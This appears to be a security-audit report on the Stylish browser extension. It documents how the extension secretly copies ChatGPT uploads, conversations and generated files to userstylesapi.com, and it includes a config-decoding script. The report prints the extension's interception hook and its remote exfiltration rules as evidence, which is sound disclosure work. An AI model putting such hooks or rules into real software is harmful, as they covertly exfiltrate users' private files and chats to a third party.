Is Stylish - Custom themes for any website safe?
Stylish is critical risk. Uploading a file to ChatGPT, Stylish sends an identical copy to fs.userstylesapi.com. The original still reaches OpenAI, but a duplicate diverts to Stylish, no prompt. The rule is remote, changeable, covering any file type.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Files You Upload to ChatGPT Are Copied to a Third-Party Server Without Notice
Uploading a file to ChatGPT, Stylish sends an identical copy to fs.userstylesapi.com.
The original still reaches OpenAI, but a duplicate diverts to Stylish, no prompt.
The rule is remote, changeable, covering any file type.
You upload any file to ChatGPT, a document, image, spreadsheet, or code file.
Stylish creates a copy of your file in memory and dispatches it to the service worker, which uploads it to fs.userstylesapi.com.
ChatGPT receives the file normally; you see no error or delay.
| Field | Value | Why it matters | |
|---|---|---|---|
Full file contents | report_Q1_2026_financials.xlsx (23KB) | The complete binary or text content of whatever you uploaded. | |
Original upload URL | https://files2.oaiusercontent.com/file-8bKcXp4rNqWz9uTy | Which OpenAI storage endpoint the file was sent to, encodes file ID and storage region. | |
File name | medical_records_2025.pdf | The original filename as you had it on your device. | |
MIME type | application/pdf | The file format, reveals what kind of data you are sharing with ChatGPT. |
The hook that intercepts file uploads (contentInt.js):
// Runs 1 second after an XHR.send() call.
// If the request carries a File (i.e. a file upload) and the rule matched:
setTimeout(() => {
if (this["antifork+"] && arguments[0] instanceof File) {
const fileName = arguments[0].name;
const fileType = arguments[0].type;
const blobUrl = URL.createObjectURL(arguments[0]); // wrap file in memory blob URL
self.dispatchEvent(new CustomEvent("antifork-fk", {
detail: {
way: "xhr",
ab: blobUrl, // blob URL pointing to the file data
url: this.unsafeHeaders, // original upload destination (oaiusercontent.com)
name: fileName,
type: fileType,
fth: this["fork_to_host"], // = "fs.userstylesapi.com"
c: this[rule_object] // the matching rule
}
}));
}
}, 1000);The remote config rule that activates this (rule 27, decoded from userstylesapi.com/content/config):
{
"configTarget": "content_request_fork_and_proxy",
"type": "gpt_con_fork_upload",
"page_url_match": "https:\/\/chat(gpt)?.com.*",
"request_url_match": "https:\/\/files\\d{0,2}\\.oaiusercontent\\.com\/file-.*|https:\/\/sdmntpr\\w+\\.oaiusercontent\\.com\/files\/",
"fork_to_host": "fs.userstylesapi.com"
}- fs.userstylesapi.com
File storage subdomain receiving forked ChatGPT uploads. Part of the userstylesapi.com infrastructure operated by SimilarWeb, Stylish's parent company.
- files2.oaiusercontent.com
OpenAI's legitimate file storage (original destination). The file also reaches OpenAI normally; the fork is additive.
All ChatGPT Conversations Intercepted and Sent to Stylish Servers
With Stylish, ChatGPT chats are intercepted live: it replaces fetch on chatgpt.com, reads the streaming reply chunk by chunk before it appears, forwards it to the service worker, which POSTs to userstylesapi.com.
Confirmed with a marker.
You send any message on chatgpt.com while Stylish is installed.
Stylish intercepts the full conversation response, including your prompt and the AI's reply, before it finishes loading on screen.
The data is forwarded to Stylish's servers at userstylesapi.com. You have no way to disable this without removing the extension.
| Field | Value | Why it matters | |
|---|---|---|---|
Your message to ChatGPT | Write a Python script to parse my AWS credentials file at ~/.aws/credentials | The full text you typed or pasted, including sensitive questions, passwords, private documents, and anything shared with the AI. | |
ChatGPT's full reply | Here is a Python script to read your AWS credentials... | The complete AI response, including any content that reveals what you were researching or working on. | |
Conversation API URL | https://chatgpt.com/backend-api/conversation | The unique URL of this conversation thread, which includes your conversation ID. | |
Precise timestamp | 1744640329122 | The exact time each message was sent, captured as performance.now() and Date.now(). | |
Rule version identifier | 8 | Which version of the interception rule was active (v2=8 in current config), allowing the server to correlate captures across rule updates. |
The rule that activates ChatGPT interception, from the live server config.
// This rule is delivered by userstylesapi.com and stored in chrome.storage.local.
// It tells the content script which ChatGPT requests to intercept.
//
// Plain-English translation:
// - Only activate on pages matching: https://chatgpt.com/* (any ChatGPT page)
// - Intercept requests matching: /backend-(api|anon)/(f/)?conversation/*
// (covers all ChatGPT conversation API variants including Pro/Anon tiers)
// - Only forward if response line matches SSE data format (event: ... / data: ...)
// - Extract: version tag (v2=8), request URL, delivery method (fetch),
// performance timestamp, datetime, and full conversation body
// (SSE stream split into individual delta events, each JSON-parsed)
const gpt_con_delta_fetch = {
configTarget: 'content_request_parser',
version: { major: 1, minor: 17 },
pageMatch: /https:\/\/chatgpt\.com.*/,
requestMatch: /https:\/\/chatgpt\.com\/backend-(api|anon)\/(f\/)?conversation.*/,
// Only forward if response looks like an SSE stream:
isOk: /(?:event: (\w+)\n)?data: (.*)/,
// What to extract from the intercepted response:
extract: [
{ key: 'v2', value: 8 }, // rule version tag
{ key: 'url', value: request.url }, // conversation URL
{ key: 'way', value: 'fetch' }, // hook type
{ key: 'performance_now', value: performance.now() }, // sub-millisecond timestamp
{ key: 'datetime_now', value: Date.now() }, // epoch timestamp
{ key: 'body', value: parseSseStream(response.body) } // full conversation
]
};Decodes the column-transposition obfuscation Stylish uses to store its targeting config in chrome.storage.local. Run this to see the full 31-rule ruleset, including all AI targets (ChatGPT, Gemini, Claude, Perplexity, Character.AI).
#!/usr/bin/env node
/**
* stylish-config-decoder.js
*
* Stylish (fjnbnpbmkenffdnngjfgmeleoegfcffe) stores its targeting config in
* chrome.storage.local using a column-transposition cipher over base64.
*
* The cipher (freeParseInt in service-worker.js / contentDE.js):
* 1. Split the obfuscated string 'e' on newlines -> matrix of rows
* 2. Read column by column (column-major order) to produce a base64 string
* 3. atob() decode -> JSON.parse()
*
* To capture the raw obfuscated config:
* 1. Install Stylish in Chrome with Developer mode enabled.
* 2. Open the Stylish service worker DevTools (chrome://extensions -> Stylish -> service worker).
* 3. In the Console, run:
* chrome.storage.local.get('BufferEquals', data => console.log(JSON.stringify(data.BufferEquals)))
* 4. Copy the output JSON array and save as config-raw.json
* 5. Run: node stylish-config-decoder.js < config-raw.json
*
* Alternatively, intercept the userstylesapi.com/content/config POST response
* directly in DevTools Network tab — the rules are returned as plaintext JSON.
*
* Known rule types in live config (fetched 2026-04-13, 31 rules):
* AI interception: gpt_con_delta_fetch, gpt_history_con_fetch, gpt_shopping_checkout_fetch,
* gpt_shopping_purchase_fetch, gpt_chat_mf_fetch, gpt_file_download_similarweb,
* gpt_con_fork_upload (file proxy to fs.userstylesapi.com),
* bard_a_fetch, bard_q_fetch, bard_qa, bard_qa_voice,
* claudeai_con_fetch, claudeai_qa_html,
* perplexity_con_fetch, perplexity_html,
* char_ai_qa, goaimo, cptqa, cptqa_v2
* Ad intelligence: gpt_ads_all_types (VAST XML), gpt_all_file_req,
* gptpar_ads_click, gpt_clk_html
* Misc: anf_t (device fingerprint), cloudflare-req, gpt_account,
* gptpar, gptpar_deepsearch, gpt_chat_con, gpt_chat_mf, gpt_para_con_fetch
*/
const readline = require('readline');
/**
* Decode a single obfuscated rule object using freeParseInt column transposition.
* @param {object} entry - Object with property 'e' containing the obfuscated string,
* OR an already-decoded object with a 'type' property.
*/
function freeParseInt(entry) {
// Already decoded (has 'type' property) -> pass through
if (entry && Object.prototype.hasOwnProperty.call(entry, 'type')) return entry;
const rows = entry.e.split('\n');
const colCount = rows[0].length;
let base64 = '';
// Read column by column (same as the extension's freeParseInt)
for (let col = 0; col < colCount; col++) {
for (let row = 0; row < rows.length; row++) {
const ch = rows[row].charAt(col);
if (!ch) break; // row is shorter than column count
base64 += ch;
}
}
return JSON.parse(Buffer.from(base64, 'base64').toString('utf8'));
}
async function main() {
const chunks = [];
process.stdin.on('data', c => chunks.push(c));
await new Promise(r => process.stdin.on('end', r));
const raw = JSON.parse(chunks.join(''));
let rules;
if (Array.isArray(raw)) {
// Array of obfuscated entries OR already-decoded rules
rules = raw.map(freeParseInt);
} else if (raw && raw.e) {
// Single obfuscated entry
rules = [freeParseInt(raw)];
} else {
// Might already be plain JSON from the network response
rules = Array.isArray(raw) ? raw : [raw];
}
// Print a summary table
console.error('\n=== Stylish Targeting Rules (' + rules.length + ' total) ===\n');
console.error('TYPE PAGE_URL_MATCH REQUEST_URL_MATCH');
console.error('------------------------------ -------------------------------- -------------------------------');
for (const rule of rules) {
const type = (rule.type || '(unknown)').padEnd(30);
const page = (rule.page_url_match || '(any page)').slice(0, 32).padEnd(34);
const req = (rule.request_url_match || '(any request)').slice(0, 32);
console.error(type + page + req);
}
console.error('');
// Output full decoded JSON to stdout
process.stdout.write(JSON.stringify(rules, null, 2) + '\n');
}
main().catch(e => { console.error('Error:', e.message); process.exit(1); });
- 1node stylish-config-decoder.js < config-raw.json
ChatGPT File Downloads Intercepted and Uploaded to SimilarWeb
When ChatGPT's code interpreter generates a file, Stylish intercepts it first: fetching it from OpenAI's signed URL, then uploading a copy to fs.userstylesapi.com labeled 'gpt-downloaded-model-generated'.
Tagged 'similarweb' in config.
ChatGPT code interpreter finishes running and you are offered a file to download.
Stylish intercepts the download URL from ChatGPT's response, fetches the file itself, and uploads a copy to fs.userstylesapi.com tagged as a SimilarWeb asset.
Your file is downloaded normally, but an identical copy is now on SimilarWeb's servers.
| Field | Value | Why it matters | |
|---|---|---|---|
The file itself | analysis_results_2026-04-13.csv (148KB) | The full binary contents of the file ChatGPT generated for you. | |
OpenAI signed download URL | https://files.oaiusercontent.com/file-8xKpNqZ3?se=2026-04-14T00%3A00%3A00Z&sig=abc123 | The temporary URL OpenAI issued for this file, encodes the conversation and file ID. | |
File name | salary_projection_model.xlsx | The filename as ChatGPT assigned it. | |
Classification tag | gpt-downloaded-model-generated | A hardcoded label the extension applies to categorize this type of exfiltration. | |
Source API URL | https://chatgpt.com/backend-api/conversation/a1b2c3d4-e5f6-7890-ab12-cd34ef56gh78/interpreter/download | The ChatGPT conversation URL that triggered the download, revealing which conversation produced this file. |
The remote rule driving this (rule 26, decoded from /content/config):
{
"configTarget": "content_request_parser",
"vmajor": 1, "vminor": 23,
"type": "gpt_file_download_similarweb",
"page_url_match": "https:\/\/chatgpt.com.*",
"request_url_match": "https:\/\/chatgpt\.com\/backend-(api|anon)\/conversation\/\\w+-\\w+-\\w+-\\w+-\\w+\/interpreter\/download",
"isOk": { "type": "check", "if": "equals", "target": "application/json", "object": { "type": "smart-path", "path": "[ prop contentType ]" } },
"analyse": {
"type": "sequence",
"seq": [
// 1. Parse the JSON response to get download_url and file_name
{ "type": "var-set", "name": "JSON", "value": { "type": "util", "util": "json-parse", "object": { "type": "smart-path", "path": "[ prop message ]" } } },
// 2. If download_url exists:
{ "type": "condition", "condition": { "type": "check", "if": "exists", "object": { "type": "smart-path", "path": "[ prop download_url ]", "object": { "type": "var-get", "name": "JSON" } } },
"caseTrue": { "type": "sequence", "seq": [
// 3. Fetch the file from OpenAI to a blob URL
{ "type": "var-set", "name": "OBJECT_URL", "value": { "type": "util", "util": "fetch-file-to-object-url", "url": { "type": "smart-path", "path": "[ prop download_url ]", "object": { "type": "var-get", "name": "JSON" } } } },
// 4. Upload the blob to SimilarWeb's server
{ "type": "util", "util": "upload-object-url-via-service-worker",
"objectUrl": { "type": "var-get", "name": "OBJECT_URL" },
"uploadTo": "https://fs.userstylesapi.com/file-downloaded",
"props": { "fileName": "...", "downloadUrl": "...", "requestType": "gpt-downloaded-model-generated", "sourceUrl": "..." }
}
]}
}
]
},
"filterPayload": { "type": "constant", "value": false }
}The rule type is literally named `gpt_file_download_similarweb`. This is not inferred — it is the name assigned in the obfuscated remote config delivered from Stylish's own server. SimilarWeb acquired Stylish in 2017. This tag demonstrates that data collection from ChatGPT file downloads is classified as a SimilarWeb intelligence product inside the extension's own infrastructure.
- fs.userstylesapi.com
File storage endpoint receiving ChatGPT-generated files. Subdomain of userstylesapi.com, SimilarWeb's Stylish infrastructure. Endpoint is /file-downloaded.
+9 more findings not shown